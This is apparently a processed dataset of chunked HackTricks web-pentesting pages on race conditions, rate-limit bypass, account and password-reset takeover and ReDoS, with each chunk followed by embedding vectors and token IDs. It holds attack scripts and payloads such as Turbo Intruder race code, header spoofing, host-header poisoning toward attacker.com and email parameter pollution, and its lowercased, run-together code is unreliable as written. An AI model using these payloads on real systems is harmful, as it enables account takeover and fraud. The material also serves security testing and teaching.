original report in url examplestubo intruder - http2 single - packet attack ( 1 endpoint ) : you can send the request to turbo intruder ( extensions - > turbo intruder - > send to turbo intruder ), you can change in the request the value you want to brute force for % s like in csrf = bn9vqb8oyefis3shr2fpesr0fzzuli1d & username = carlos & password = % s and then select the examples / race - single - packer - attack
[ 0.11696954816579819, 0.46582964062690735, -0.6944642663002014, 0.582145094871521, -0.7492512464523315, -0.7345826029777527, -0.267981618642807, -0.04946887493133545, -0.33076897263526917, 1.407137155532837, -0.13779759407043457, 0.05621742457151413, 0.2370235025882721, -0.9249863624572754,...
[ 8241, 1010, 1998, 2122, 2089, 5630, 2000, 2830, 2070, 11186, 2058, 4493, 7264, 2000, 1996, 2067, 1011, 2203, 1010, 1998, 2000, 3443, 4840, 7264, 2005, 2500, 1012, 2004, 1037, 2765, 1010, 2009, 1005, 1055, 2590, 2025, 2000, 17961, 20316, 5...
hack_tricks
179.txt
1
. py from the drop down : if you are going to send different values, you could modify the code with this one that uses a wordlist from the clipboard : passwords = wordlists. clipboard for password in passwords : engine. queue ( target. req, password, gate ='race1') if the web doesn't support http2 ( only http1. 1 ) use engine. threaded or engine. burp instead of engine. burp2. tubo intruder - http2 single - packet attack ( several endpoints ) : in case you need to send a request to 1 endpoint and then multiple to other endpoints to trigger the rce, you can change the race - single - packet - attack. py script with something like : def queuerequests ( target, wordlists ) : engine = requestengine ( endpoint = target. endpoint, concurrentconnections = 1, engine = engine. burp2 ) # hardcode the second request for the rc confirmationreq ='''post / confirm? token [ ] = http / 2host : 0a9c00370490e77e837419c4005900d0. web - security - academy. netcookie : phpsessionid = mpdeoyrvant1oam0otasmlz91idfislucontent - length : 0'''# for each attempt ( 20 in total ) send 50 confirmation requests. for attempt in range ( 20 ) : currentattempt = str ( attempt ) username ='auser'+ currentattempt # queue a single registration request engine. queue ( target. req, username, gate = currentattempt ) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range ( 50 ) : engine. queue ( confirmationreq, gate = currentattempt ) # send all the queued requests for this attempt engine. opengate ( currentattempt ) it's also available in repeater via the new'send group in parallel'option in burp suite. for limit - overrun you could just add the same request 50 times in the group. for connection warming, you could add at the beginning of the group some requests to some non static part of the web server. for delaying the process between processing one request and another in a 2 substates steps, you could add
[ 0.26878073811531067, 0.17363940179347992, -0.6311806440353394, 0.5920614004135132, -0.9487977027893066, -0.24160166084766388, -0.3872741162776947, 0.06635154783725739, 0.3096495270729065, 1.3584225177764893, 0.14822576940059662, 0.1435997635126114, 0.5652338862419128, -0.4863995313644409, ...
[ 1012, 1052, 2100, 2013, 1996, 4530, 2091, 1024, 2065, 2017, 2024, 2183, 2000, 4604, 2367, 5300, 1010, 2017, 2071, 19933, 1996, 3642, 2007, 2023, 2028, 2008, 3594, 1037, 2773, 9863, 2013, 1996, 12528, 6277, 1024, 20786, 2015, 1027, 2773, 2...
hack_tricks
179.txt
2
extra requests between both requests. for a multi - endpoint rc you could start sending the request that goes to the hidden state and then 50 requests just after it that exploits the hidden state. raw bfbefore the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a rc. repeater : check the examples from the previous section. intruder : send the request to intruder, set the number of threads to 30 inside the options menu and, select as payload null payloads and generate 30. turbo intruderdef queuerequests ( target, wordlists ) : engine = requestengine ( endpoint = target. endpoint, concurrentconnections = 5, requestsperconnection = 1, pipeline = false ) a = ['session = < session _ id _ 1 > ','session = < session _ id _ 2 > ','session = < session _ id _ 3 >'] for i in range ( len ( a ) ) : engine. queue ( target. req, a [ i ], gate ='race1') # open tcp connections and send partial requests engine. start ( timeout = 10 ) engine. opengate ('race1') engine. complete ( timeout = 60 ) def handleresponse ( req, interesting ) : table. add ( req ) python - asyncioimport asyncioimport url def use _ code ( client ) : resp = await client. post ( f'http : / / victim. com ', cookies = { " session " : " asdasdasd " }, data = { " code " : " 123123123 " } ) return resp. textasync def main ( ) : async with url as client : tasks = [ ] for _ in range ( 20 ) : # 20 times tasks. append ( asyncio. ensure _ future ( use _ code ( client ) ) ) # get responses results = await asyncio. gather ( * tasks, return _ exceptions = true ) # print results for r in results : print ( r ) # async2sync sleep await asyncio. sleep ( 0. 5 ) print ( results ) asyncio. run ( main ( ) ) rc methodologylimit - overrun / toctouthis is the most basic type of race condition where vulnerabilities that appear in places that limit the number
[ -0.03153294697403908, -0.11904194205999374, -0.705238401889801, 0.8057146072387695, -0.3158702850341797, 0.030877891927957535, -1.0202776193618774, 0.32596176862716675, 0.5322465300559998, 0.7183826565742493, 0.4538079500198364, 0.21582533419132233, -0.08070874959230423, -0.333171337842941...
[ 4469, 11186, 2090, 2119, 11186, 1012, 2005, 1037, 4800, 1011, 2203, 8400, 22110, 2017, 2071, 2707, 6016, 1996, 5227, 2008, 3632, 2000, 1996, 5023, 2110, 1998, 2059, 2753, 11186, 2074, 2044, 2009, 2008, 20397, 1996, 5023, 2110, 1012, 6315, ...
hack_tricks
179.txt
3
of times you can perform an action. like using the same discount code in a web store several times. a very easy example can be found in this report or in this bug. there are many variations of this kind of attack, including : redeeming a gift card multiple timesrating a product multiple timeswithdrawing or transferring cash in excess of your account balancereusing a single captcha solutionbypassing an anti - brute - force rate limithidden substatesother most complicated rc will exploit substates in the machine state that could allow an attacker to abuse states he was never meant to have access to but there is a small window for the attacker to access it. 1. predict potential hidden & interesting substatesthe first step is to identify all the endpoints that either write to it, or read data from it and then use that data for something important. for example, users might be stored in a database table that is modified by registration, profile - edits, password reset initiation, and password reset completion. we can use three key questions to rule out endpoints that are unlikely to cause collisions. for each object and the associated endpoints, ask : how is the state stored? data that's stored in a persistent server - side data structure is ideal for exploitation. some endpoints store their state entirely client - side, such as password resets that work by emailing a jwt - these can be safely skipped. applications will often store some state in the user session. these are often somewhat protected against sub - states - more on that later. are we editing or appending? operations that edit existing data ( such as changing an account's primary email address ) have ample collision potential, whereas actions that simply append to existing data ( such as adding an additional email address ) are unlikely to be vulnerable to anything other than limit - overrun attacks. what's the operation keyed on? most endpoints operate on a specific record, which is looked up using a'key ', such as a username, password reset token, or filename. for a successful attack, we need two operations that use the same key. for example, picture two plausible password reset implementations : 2. probe for cluesat this point it's time to launch some rcs attacks over the potential interesting endpoints to try to find unexpected results compare to the regular ones. any deviation from the expected response such as a change in one or more responses, or a second - order effect like different email contents or a
[ -0.25214606523513794, -0.0015709818108007312, 0.10583604872226715, 0.25026991963386536, -0.2608119547367096, -0.30684420466423035, -0.2460421323776245, -0.06199612468481064, 0.21421173214912415, 1.1951141357421875, 0.08625691384077072, 0.1777520328760147, -0.0038186705205589533, -0.6332826...
[ 1997, 2335, 2017, 2064, 4685, 2019, 2895, 1012, 2066, 2478, 1996, 2168, 19575, 3642, 1999, 1037, 4773, 3573, 2195, 2335, 1012, 1037, 2200, 3733, 2742, 2064, 2022, 2179, 1999, 2023, 3189, 2030, 1999, 2023, 11829, 1012, 2045, 2024, 2116, 83...
hack_tricks
179.txt
4
visible change in your session could be a clue indicating something is wrong. 3. prove the conceptthe final step is to prove the concept and turn it into a viable attack. when you send a batch of requests, you may find that an early request pair triggers a vulnerable end - state, but later requests overwrite / invalidate it and the final state is unexploitable. in this scenario, you'll want to eliminate all unnecessary requests - two should be sufficient for exploiting most vulnerabilities. however, dropping to two requests will make the attack more timing - sensitive, so you may need to retry the attack multiple times or automate it. time sensitive attackssometimes you may not find race conditions, but the techniques for delivering requests with precise timing can still reveal the presence of other vulnerabilities. one such example is when high - resolution timestamps are used instead of cryptographically secure random strings to generate security tokens. consider a password reset token that is only randomized using a timestamp. in this case, it might be possible to trigger two password resets for two different users, which both use the same token. all you need to do is time the requests so that they generate the same timestamp. to confirm for example the previous situation you could just ask for 2 reset password tokens at the same time ( using single packet attack ) and check if they are the same. check the example in this lab. hidden substates case studiespay & add an itemcheck this lab to see how to pay in a store and add an extra item you that won't need to pay for it. confirm other emailsthe idea is to verify an email address and change it to a different one at the same time to find out if the platform verifies the new one changed. change email to 2 emails addresses cookie basedaccording to this writeup gitlab was vulnerable to a takeover this way because it might send the email verification token of one email to the other email. you can also check this lab to learn about this. hidden database states / confirmation bypassif 2 different writes are used to add information inside a database, there is a small portion of time where only the first data has been written inside the database. for example, when creating a user the username and password might be written and then the token to confirm the newly created account is written. this means that for a small time the token to confirm an account is null. therefore registering
[ -0.009032828733325005, -0.035860758274793625, -0.025206396356225014, 0.3450765907764435, -1.3091323375701904, -0.6187364459037781, -0.2567519247531891, 0.42241695523262024, 0.20087531208992004, 1.2538503408432007, 0.14408427476882935, -0.07430633157491684, 0.65152907371521, -0.412303656339...
[ 5710, 2689, 1999, 2115, 5219, 2071, 2022, 1037, 9789, 8131, 2242, 2003, 3308, 1012, 1017, 1012, 6011, 1996, 4145, 10760, 2345, 3357, 2003, 2000, 6011, 1996, 4145, 1998, 2735, 2009, 2046, 1037, 14874, 2886, 1012, 2043, 2017, 4604, 1037, 14...
hack_tricks
179.txt
5
an account and sending several requests with an empty token ( token = or token [ ] = or any other variation ) to confirm the account right away could allow to confirm an account where you don't control the email. check this lab to check an example. bypass 2fathe following pseudo - code demonstrates how a website could be vulnerable to a race variation of this attack : session ['userid'] = user. useridif user. mfa _ enabled : session ['enforce _ mfa'] = true # generate and send mfa code to user # redirect browser to mfa code entry formas you can see, this is in fact a multi - step sequence within the span of a single request. most importantly, it transitions through a sub - state in which the user temporarily has a valid logged - in session, but mfa isn't yet being enforced. an attacker could potentially exploit this by sending a login request along with a request to a sensitive, authenticated endpoint. oauth2 eternal persistencethere are several oauth providers. theses services will allow you to create an application and authenticate users that the provider has registered. in order to do so, the client will need to permit your application to access some of their data inside of the oauth provider. so, until here just a common login with google / linkdin / github... where you are prompted with a page saying : " application < insertcoolname > wants to access you information, do you want to allow it? " race condition in authorization _ codethe problem appears when you accept it and automatically sends an authorization _ code to the malicious application. then, this application abuses a race condition in the oauth service provider to generate more that one at / rt ( authentication token / refresh token ) from the authorization _ code for your account. basically, it will abuse the fact that you have accept the application to access your data to create several accounts. then, if you stop allowing the application to access your data one pair of at / rt will be deleted, but the other ones will still be valid. race condition in refresh tokenonce you have obtained a valid rt you could try to abuse it to generate several at / rt and even if the user cancels the permissions for the malicious application to access his data, several rts will still be valid. rc in websocketsin ws _ racecondition _ poc you can find a poc in java to
[ -0.19455580413341522, -0.5993441939353943, -0.11699189245700836, 0.09161026030778885, -0.41958683729171753, -0.21131153404712677, -0.07493762671947479, -0.1841304451227188, 0.24849247932434082, 0.7617330551147461, 0.4589676260948181, -0.26185014843940735, 0.4651695489883423, -1.06000030040...
[ 2019, 4070, 1998, 6016, 2195, 11186, 2007, 2019, 4064, 19204, 1006, 19204, 1027, 2030, 19204, 1031, 1033, 1027, 2030, 2151, 2060, 8386, 1007, 2000, 12210, 1996, 4070, 2157, 2185, 2071, 3499, 2000, 12210, 2019, 4070, 2073, 2017, 2123, 1005, ...
hack_tricks
179.txt
6
send websocket messages in parallel to abuse race conditions also in web sockets. [SEP]
[ -0.5704583525657654, 0.01871795952320099, -0.4362604022026062, 1.2767599821090698, 0.018130380660295486, -0.6680236458778381, -0.5963026881217957, -0.5243012309074402, 0.5792132616043091, 1.5677895545959473, -0.29518038034439087, 0.6067672967910767, 0.341552197933197, -1.0622000694274902, ...
[ 4604, 4773, 6499, 19869, 2102, 7696, 1999, 5903, 2000, 6905, 2679, 3785, 2036, 1999, 4773, 27540, 1012, 102 ]
hack_tricks
179.txt
7
[CLS] shells ( linux, windows, msfvenom ) shells - linuxshells - windowsmsfvenom - cheatsheetfull ttysauto - generated shellshttps : / / reverse - shell. sh / https : / / www. revshells. com / https : / / github. com / shutdownrepo / shelleratorhttps : / / github. com / 0x00 - 0x00 / shellpophttps : / / github. com / cybervaca / shellreversehttps : / / liftoff. github. io / pyminifier / https : / / github. com / xct / xc / https : / / weibell. github. io / reverse - shell - generator / https : / / github. com / t0thkr1s / revshellgenhttps : / / github. com / mthbernardes / rsggeneric methodologies & resources - [SEP]
[ 0.034110743552446365, -0.022151391953229904, 0.24646739661693573, -0.0664009377360344, -0.7816026210784912, -0.7559232115745544, -0.6693459153175354, 0.0726323202252388, -0.05892731249332428, 1.0231024026870728, -0.4747299551963806, 0.6457840800285339, 0.4095599949359894, -0.11573910713195...
[ 101, 10986, 1006, 11603, 1010, 3645, 1010, 5796, 2546, 8159, 5358, 1007, 10986, 1011, 11603, 4095, 5349, 2015, 1011, 3645, 5244, 2546, 8159, 5358, 1011, 21910, 4095, 15558, 3993, 2140, 23746, 7274, 4887, 3406, 1011, 7013, 10986, 11039, 2585...
hack_tricks
18.txt
0
[CLS] rate limit bypass use trickest to easily build and automate workflows powered by the world's most advanced community tools. using similar endpointsif you are attacking the / api / v3 / sign - up endpoint try to perform bruteforce to / sing - up, / signup, / singup... also try appending to the original endpoint bytes like % 00, % 0d % 0a, % 0d, % 0a, % 09, % 0c, % 20blank chars in code / paramstry adding some blank byte like % 00, % 0d % 0a, % 0d, % 0a, % 09, % 0c, % 20 to the code and / or params. for example code = 1234 % 0a or if you are requesting a code for an email and you only have 5 tries, use the 5 tries for [ email protected ], then for [ email protected ] % 0a, then for [ email protected ] % 0a % 0a, and continue... changing ip origin using headersx - originating - ip : 127. 0. 0. 1x - forwarded - for : 127. 0. 0. 1x - remote - ip : 127. 0. 0. 1x - remote - addr : 127. 0. 0. 1x - client - ip : 127. 0. 0. 1x - host : 127. 0. 0. 1x - forwared - host : 127. 0. 0. 1 # or use double x - forwared - for headerx - forwarded - for : x - forwarded - for : 127. 0. 0. 1if they are limiting to 10 tries per ip, every 10 tries change the ip inside the header. change other headerstry changing the user - agent, the cookies... anything that could be able to identify you. adding extra params to the pathif the limit in in the path / resetpwd, try bfing that path, and once the rate limit is reached try / resetpwd? someparam = 1login in your account before each attemptmaybe if you login into your account before each attempt ( or each set of x tries ), the rate limit is restarted. if you are attacking a login functionality, you can do this in burp using a pitchfork attack in setting your credentials every x tries ( and marking follow redirects ).
[ 0.3842669427394867, -0.2518490254878998, -0.468215674161911, 0.6984184384346008, -0.7586145401000977, -0.6707271337509155, -0.34913170337677, 0.06190985068678856, 0.18786701560020447, 0.8192670941352844, -0.13235138356685638, 0.45774292945861816, 0.22391071915626526, -0.4567524790763855, ...
[ 101, 3446, 5787, 11826, 2224, 7577, 4355, 2000, 4089, 3857, 1998, 8285, 8585, 2147, 12314, 2015, 6113, 2011, 1996, 2088, 1005, 1055, 2087, 3935, 2451, 5906, 1012, 2478, 2714, 2203, 26521, 10128, 2017, 2024, 7866, 1996, 1013, 17928, 1013, ...
hack_tricks
180.txt
0
use trickest to easily build and automate workflows powered by the world's most advanced community tools. pentesting web - [SEP]
[ 0.8216632604598999, 0.43428388237953186, -0.908007025718689, 0.3168489634990692, -0.9735386371612549, 0.033701542764902115, -0.6841157078742981, -0.6203306317329407, 0.8375149369239807, 1.0743638277053833, 0.3564787209033966, 0.24845588207244873, 0.45236432552337646, -0.804818332195282, ...
[ 2224, 7577, 4355, 2000, 4089, 3857, 1998, 8285, 8585, 2147, 12314, 2015, 6113, 2011, 1996, 2088, 1005, 1055, 2087, 3935, 2451, 5906, 1012, 7279, 22199, 2075, 4773, 1011, 102 ]
hack_tricks
180.txt
1
[CLS] registration & takeover vulnerabilitiesregistration takeoverduplicate registrationtry to generate using an existing usernamecheck varying the email : uppsercase + 1 @ add some some in the emailspecial characters in the email name ( % 00, % 09, % 20 ) put black characters after the email : [ email protected ] a [ email protected ] @ attacker. com [ email protected ] @ gmail. comusername enumerationcheck if you can figure out when a username has already been registered inside the application. password policycreating a user check the password policy ( check if you can use weak passwords ). in that case you may try to bruteforce credentials. sql injectioncheck this page to learn how to attempt account takeovers or extract information via sql injections in registry forms. oauth takeoversoauth to account takeoversaml vulnerabilitiessaml attackschange emailwhen registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails. more checkscheck if you can use disposable emailslong password ( > 200 ) leads to doscheck rate limits on account creationuse username @ burp _ collab. net and analyze the callbackpassword reset takeoverpassword reset token leak via referrer1. request password reset to your email address2. click on the password reset link3. don ’ t change password4. click any 3rd party websites ( eg : facebook, twitter ) 5. intercept the request in burp suite proxy6. check if the referer header is leaking password reset token. password reset poisoning1. intercept the password reset request in burp suite2. add or edit the following headers in burp suite : host : attacker. com, x - forwarded - host : attacker. com3. forward the request with the modified header url post urls : / / example. com / reset. php http / 1. 1 accept : * / * content - type : application / json host : attacker. com4. look for a password reset url based on the host header like : urls : / / attacker. com / reset - password. php? token = tokenpassword reset via email parameter # parameter pollutionemail = victim @ mail. com & email = hacker @ mail. com # array of emails { " email " : [ " [ email protected ] ", " [ email protected ] " ] }
[ 0.21381543576717377, -0.5351732969284058, 0.07762962579727173, 0.5032307505607605, 0.2131744623184204, -0.37007907032966614, -0.2666102647781372, 1.0024197101593018, 0.19256135821342468, 0.44047942757606506, 0.08069493621587753, -0.1567840278148651, 0.3121599853038788, 0.08777725696563721,...
[ 101, 8819, 1004, 15336, 24728, 19666, 6906, 14680, 2890, 24063, 8156, 15336, 8566, 24759, 24695, 8819, 11129, 2000, 9699, 2478, 2019, 4493, 5310, 18442, 5403, 3600, 9671, 1996, 10373, 1024, 2039, 29251, 18992, 3366, 1009, 1015, 1030, 5587, ...
hack_tricks
181.txt
0
# carbon copyemail = victim @ mail. com % 0a % 0dcc : hacker @ mail. comemail = victim @ mail. com % 0a % 0dbcc : hacker @ mail. com # separatoremail = victim @ mail. com, hacker @ mail. comemail = victim @ mail. com % 20hacker @ mail. comemail = victim @ mail. com | hacker @ mail. comidor on api parameters1. attacker have to login with their account and go to the change password feature. 2. start the burp suite and intercept the request3. send it to the repeater tab and edit the parameters : user id / email powershell post / api / changepass [... ] ( " form " : { " email " : " vic [ email protected ] ", " password " : " securepwd " } ) weak password reset tokenthe password reset token should be randomly generated and unique every time. try to determine if the token expire or if it ’ s always the same, in some cases the generation algorithm is weak and can be guessed. the following variables might be used by the algorithm. timestampuseridemail of userfirstname and lastnamedate of birthcryptographynumber onlysmall token sequence ( characters between [ a - z, a - z, 0 - 9 ] ) token reusetoken expiration dateleaking password reset token1. trigger a password reset request using the api / ui for a specific email e. g : [ email protected ] 2. inspect the server response and check for resettoken3. then use the token in an url like urls : / / example. com / v3 / user / password / reset? resettoken = [ the _ reset _ token ] & email = [ the _ mail ] password reset via username collision1. register on the system with a username identical to the victim ’ s username, but with white spaces inserted before and / or after the username. e. g : " admin " 2. request a password reset with your malicious username. 3. use the token sent to your email and reset the victim password. 4. connect to the victim account with the new password. the platform ctfd was vulnerable to this attack. see : cve - 2020 - 7245account takeover via cross site scripting1. find an xss inside the application or a subdomain if
[ 0.2176928073167801, 0.2741822302341461, -0.15583685040473938, 0.5994304418563843, -0.5308037400245667, -0.045349977910518646, -0.7651395201683044, 0.6762835383415222, 0.25608015060424805, 0.8011054992675781, 0.15214082598686218, 0.012699889950454235, 0.29824668169021606, -0.125066265463829...
[ 1001, 6351, 6100, 14545, 4014, 1027, 6778, 1030, 5653, 1012, 4012, 1003, 1014, 2050, 1003, 1014, 16409, 2278, 1024, 23307, 1030, 5653, 1012, 2272, 21397, 1027, 6778, 1030, 5653, 1012, 4012, 1003, 1014, 2050, 1003, 1014, 18939, 9468, 1024, ...
hack_tricks
181.txt
1
the cookies are scoped to the parent domain : *. domain. com2. leak the current sessions cookie3. authenticate as the user using the cookieaccount takeover via http request smuggling1. use smuggler to detect the type of http request smuggling ( cl, te, cl. te ) powershell git clone urls : / / github. com / defparam / smuggler. git cd smuggler python3 smuggler. py - h 2. craft a request which will overwrite the post / http / 1. 1 with the following data : get url : / / something. burpcollaborator. net http / 1. 1 x : with the goal of open redirect the victims to burpcollab and steal their cookies 3. final request could look like the followingget / http / 1. 1transfer - encoding : chunkedhost : something. comuser - agent : smuggler / v1. 0content - length : 830get url : / / something. burpcollaborator. net http / 1. 1x : xhackerone reports exploiting this bug * urls : / / hackerone. com / reports / 737140 * urls : / / hackerone. com / reports / 771666account takeover via csrf1. create a payload for the csrf, e. g : β€œ html form with auto submit for a password change ” 2. send the payloadaccount takeover via jwtjson web token might be used to authenticate an user. edit the jwt with another user id / emailcheck for weak jwt signaturejwt vulnerabilities ( json web tokens ) [SEP]
[ 0.4794216752052307, -0.2807399034500122, -0.27725738286972046, 0.418501615524292, -0.2285958230495453, -0.6445742249488831, -0.261142760515213, 0.2629486918449402, 0.4842350482940674, 0.5613347291946411, 0.19665490090847015, -0.13026872277259827, 1.0141340494155884, 0.22009149193763733, ...
[ 1996, 16324, 2024, 9531, 2094, 2000, 1996, 6687, 5884, 1024, 1008, 1012, 5884, 1012, 4012, 2475, 1012, 17271, 1996, 2783, 6521, 17387, 2509, 1012, 14469, 3686, 2004, 1996, 5310, 2478, 1996, 17387, 6305, 3597, 16671, 15336, 3081, 8299, 5227,...
hack_tricks
181.txt
2
[CLS] regular expression denial of service - redosintroductioncopied from url regular expression denial of service ( redos ) is a denial of service attack, that exploits the fact that most regular expression implementations may reach extreme situations that cause them to work very slowly ( exponentially related to input size ). an attacker can then cause a program using a regular expression to enter these extreme situations and then hang for a very long time. descriptionthe problematic regex naive algorithmthe regular expression naive algorithm builds a nondeterministic finite automaton ( nfa ), which is a finite state machine where for each pair of state and input symbol there may be several possible next states. then the engine starts to make transition until the end of the input. since there may be several possible next states, a deterministic algorithm is used. this algorithm tries one by one all the possible paths ( if needed ) until a match is found ( or all the paths are tried and fail ). for example, the regex ^ ( a + ) + $ is represented by the following nfa : nondeterministic finite automatonfor the input aaaax there are 16 possible paths in the above graph. but for aaaaaaaaaaaaaaaax there are 65536 possible paths, and the number is double for each additional a. this is an extreme case where the naive algorithm is problematic, because it must pass on many many paths, and then fail. notice, that not all algorithms are naive, and actually regex algorithms can be written in an efficient way. unfortunately, most regex engines today try to solve not only β€œ pure ” regexes, but also β€œ expanded ” regexes with β€œ special additions ”, such as back - references that cannot be always be solved efficiently ( see patterns for non - regular languages in wiki - regex for some more details ). so even if the regex is not β€œ expanded ”, a naive algorithm is used. evil regexesa regex is called β€œ evil ” if it can stuck on crafted input. evil regex pattern contains : grouping with repetitioninside the repeated group : repetitionalternation with overlappingexamples of evil patterns : ( a + ) + ( [ a - za - z ] + ) * ( a | aa ) + ( a | a? ) + (. * a ) { x } for x \ > 10all the above are susceptible to the input aaaaaaaaaaaaaaaaaaaaaaa
[ -0.28650015592575073, -0.7699719667434692, -0.16573233902454376, -0.16177412867546082, -0.688463032245636, -0.9150909185409546, 0.28809085488319397, 0.3450585901737213, -0.27509886026382446, 1.3453956842422485, 0.4538697600364685, 0.059386637061834335, 0.13528940081596375, -0.6725462675094...
[ 101, 3180, 3670, 14920, 1997, 2326, 1011, 2417, 20049, 3372, 14127, 14194, 3508, 3597, 14756, 2094, 2013, 24471, 2140, 3180, 3670, 14920, 1997, 2326, 1006, 2417, 2891, 1007, 2003, 1037, 14920, 1997, 2326, 2886, 1010, 2008, 20397, 1996, 2755...
hack_tricks
182.txt
0
##a! ( the minimum input length might change slightly, when using faster or slower machines ). redos payloadsstring exfiltration via redosin a ctf ( or bug bounty ) maybe you control the regex a sensitive information ( the flag ) is matched with. then, if might be useful to make the page freeze ( timeout or longer processing time ) if the a regex matched and not if it didn't. this way you will be able to exfiltrate the string char by char : in this post you can find this redos rule : ^ (? = < flag > ) ( (. * ) * ) * salt $ example : ^ (? = htb { some _ fl Β§ n Β§ ) ( (. * ) * ) * salt $ in this writeup you can find this one : < flag > ( ( ( ( ( ( (. * ) * ) * ) * ) * ) * ) * )! in this writeup he used : ^ (? = $ { flag _ prefix } ). *. *. *. *. *. *. *. *!!!! $ redos controlling input and regexthe following are redos examples where you control both the input and the regex : function check _ time _ regexp ( regexp, text ) { var t0 = new date ( ). gettime ( ) ; ; new regexp ( regexp ). test ( text ) ; var t1 = new date ( ). gettime ( ) ; ; console. log ( " regexp " + regexp + " took " + ( t1 - t0 ) + " milliseconds. " ) } / / this payloads work because the input has several " a " s [ / / " ( ( a + ) + ) + $ ", / / eternal, / / " ( a? ) { 100 } $ ", / / eternal " ( a | a? ) + $ ", " ( \ \ w * ) + $ ", / / generic " ( a * ) + $ ", " (. * a ) { 100 } $ ", " ( [ a - za - z ] + ) * $ ", / / generic " ( a + ) * $ ", ]. foreach ( regexp = > check _ time _ regexp ( regexp, " aaaaaaaaaaaaaaaaaaa
[ 0.32190775871276855, -0.2679499089717865, -0.18913957476615906, 0.9279065132141113, -0.6222967505455017, 0.4339102804660797, -0.31007492542266846, 0.29533496499061584, -0.09746682643890381, 0.9789209961891174, 0.4469452500343323, 0.31410762667655945, -0.041577547788619995, -0.8334537744522...
[ 2050, 999, 1006, 1996, 6263, 7953, 3091, 2453, 2689, 3621, 1010, 2043, 2478, 5514, 2030, 12430, 6681, 1007, 1012, 2417, 2891, 18093, 4757, 18886, 3070, 4654, 28674, 3081, 2417, 20049, 2078, 1037, 14931, 2546, 1006, 2030, 11829, 17284, 1007,...
hack_tricks
182.txt
1
##aaaaaaa! " ) ) / * regexp ( a | a? ) + $ took 5076 milliseconds. regexp ( \ w * ) + $ took 3198 milliseconds. regexp ( a * ) + $ took 3281 milliseconds. regexp (. * a ) { 100 } $ took 1436 milliseconds. regexp ( [ a - za - z ] + ) * $ took 773 milliseconds. regexp ( a + ) * $ took 723 milliseconds. * / toolshttps : / / github. com / doyensec / regexploithttps : / / devina. io / redos - checkerpentesting web - [SEP]
[ 0.6393917202949524, 0.3464925289154053, 0.20808936655521393, 0.6999956965446472, -0.9823180437088013, 0.11349852383136749, 0.645012617111206, 0.21212145686149597, 0.0575188547372818, 1.4277592897415161, 0.12459836900234222, 0.17722204327583313, 0.5251098871231079, -1.2834651470184326, 0....
[ 11057, 11057, 11057, 2050, 999, 1000, 1007, 1007, 1013, 1008, 19723, 10288, 2361, 1006, 1037, 1064, 1037, 1029, 1007, 1009, 1002, 2165, 2753, 2581, 2575, 4971, 5562, 8663, 5104, 1012, 19723, 10288, 2361, 1006, 1032, 1059, 1008, 1007, 1009, ...
hack_tricks
182.txt
2
[CLS] reset / forgotten password bypasshackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofthe following techniques recompilation was taken from url reset token leak via referrerthe http referer is an optional http header field that identifies the address of the webpage which is linked to the resource being requested. the referer request header contains the address of the previous web page from which a link to the currently requested page was followedexploitationrequest password reset to your email addressclick on the password reset linkdont change passwordclick any 3rd party websites ( eg : facebook, twitter ) intercept the request in burpsuite proxycheck if the referer header is leaking password reset token. impactit allows the person who has control of particular site to change the user ’ s password ( csrf attack ), because this person knows reset password token of the user. reference : https : / / hackerone. com / reports / 342693https : / / hackerone. com / reports / 272379https : / / hackerone. com / reports / 737042https : / / medium. com / @ rubiojhayz1234 / toyotas - password - reset - token - and - email - address - leak - via - referer - header - b0ede6507c6ahttps : / / medium. com / @ shahjerry33 / password - reset - token - leak - via - referrer - 2e622500c2c1password reset poisoningif you find a host header attack and it ’ s out of scope, try to find the password reset button! exploitationintercept the password reset request in burpsuiteadd following header or edit header in burpsuite ( try one by one ) host : attacker. com host : target. com x - forwarded - host : attacker. com host : target. com host : attacker. comcheck if the link to change the password inside the email is pointing to attacker. compatchuse $ _ server ['server _ name'] rather than $ _ server ['http _ host'] $ resetpasswordurl = " https : / / { $ _ server ['http _ host'] } / reset - password. php? token = 12345678 - 1234 - 1234 - 1234 - 1234567890
[ -0.3016435503959656, -0.025724520906805992, -0.1829306185245514, 0.40360578894615173, -0.5854649543762207, -0.8062872886657715, -0.2271590232849121, 0.6154319643974304, 0.14748361706733704, 0.6919878721237183, 0.241100013256073, 0.4121071398258209, 0.4089740216732025, 0.023599807173013687,...
[ 101, 25141, 1013, 6404, 20786, 11826, 3270, 19766, 18907, 2003, 2188, 2000, 2035, 19888, 2080, 11829, 8945, 16671, 3111, 1012, 2131, 14610, 2302, 14350, 20578, 2368, 18907, 10760, 2206, 5461, 28667, 25377, 29545, 2001, 2579, 2013, 24471, 2140...
hack_tricks
183.txt
0
##1 " ; impactthe victim will receive the malicious link in their email, and, when clicked, will leak the user ’ s password reset link / token to the attacker, leading to full account takeover. reference : https : / / hackerone. com / reports / 226659https : / / hackerone. com / reports / 167631https : / / www. acunetix. com / blog / articles / password - reset - poisoning / https : / / pethuraj. com / blog / how - i - earned - 800 - for - host - header - injection - vulnerability / https : / / medium. com / @ swapmaurya20 / password - reset - poisoning - leading - to - account - takeover - f178f5f1de87password reset by manipulating email parameterexploitationadd attacker email as second parameter using & post / resetpassword [... ] email = victim @ email. com & email = attacker @ email. comadd attacker email as second parameter using % 20post / resetpassword [... ] email = victim @ email. com % 20email = attacker @ email. comadd attacker email as second parameter using | post / resetpassword [... ] email = victim @ email. com | email = attacker @ email. comadd attacker email as second parameter using ccpost / resetpassword [... ] email = " [ email protected ] % 0a % 0dcc : [ email protected ] " add attacker email as second parameter using bccpost / resetpassword [... ] email = " [ email protected ] % 0a % 0dbcc : [ email protected ] " add attacker email as second parameter using, post / resetpassword [... ] email = " [ email protected ] ", email = " [ email protected ] " add attacker email as second parameter in json arraypost / resetpassword [... ] { " email " : [ " [ email protected ] ", " [ email protected ] " ] } referencehttps : / / medium. com / @ 0xankush / readme - com - account - takeover - bugbounty - fulldisclosure - a36ddbe915behttps : / / ninadmathpati. com / 2019 / 08 / 17 / how - i - was - able - to - earn - 1000 - with
[ -0.002191824372857809, -0.46837592124938965, -0.13610078394412994, 0.5534683465957642, -0.5274901390075684, -0.3231446444988251, -0.6145275831222534, 0.18054857850074768, 0.17502696812152863, 0.7923534512519836, 0.11648144572973251, -0.1127239316701889, 0.23854614794254303, 0.1860668808221...
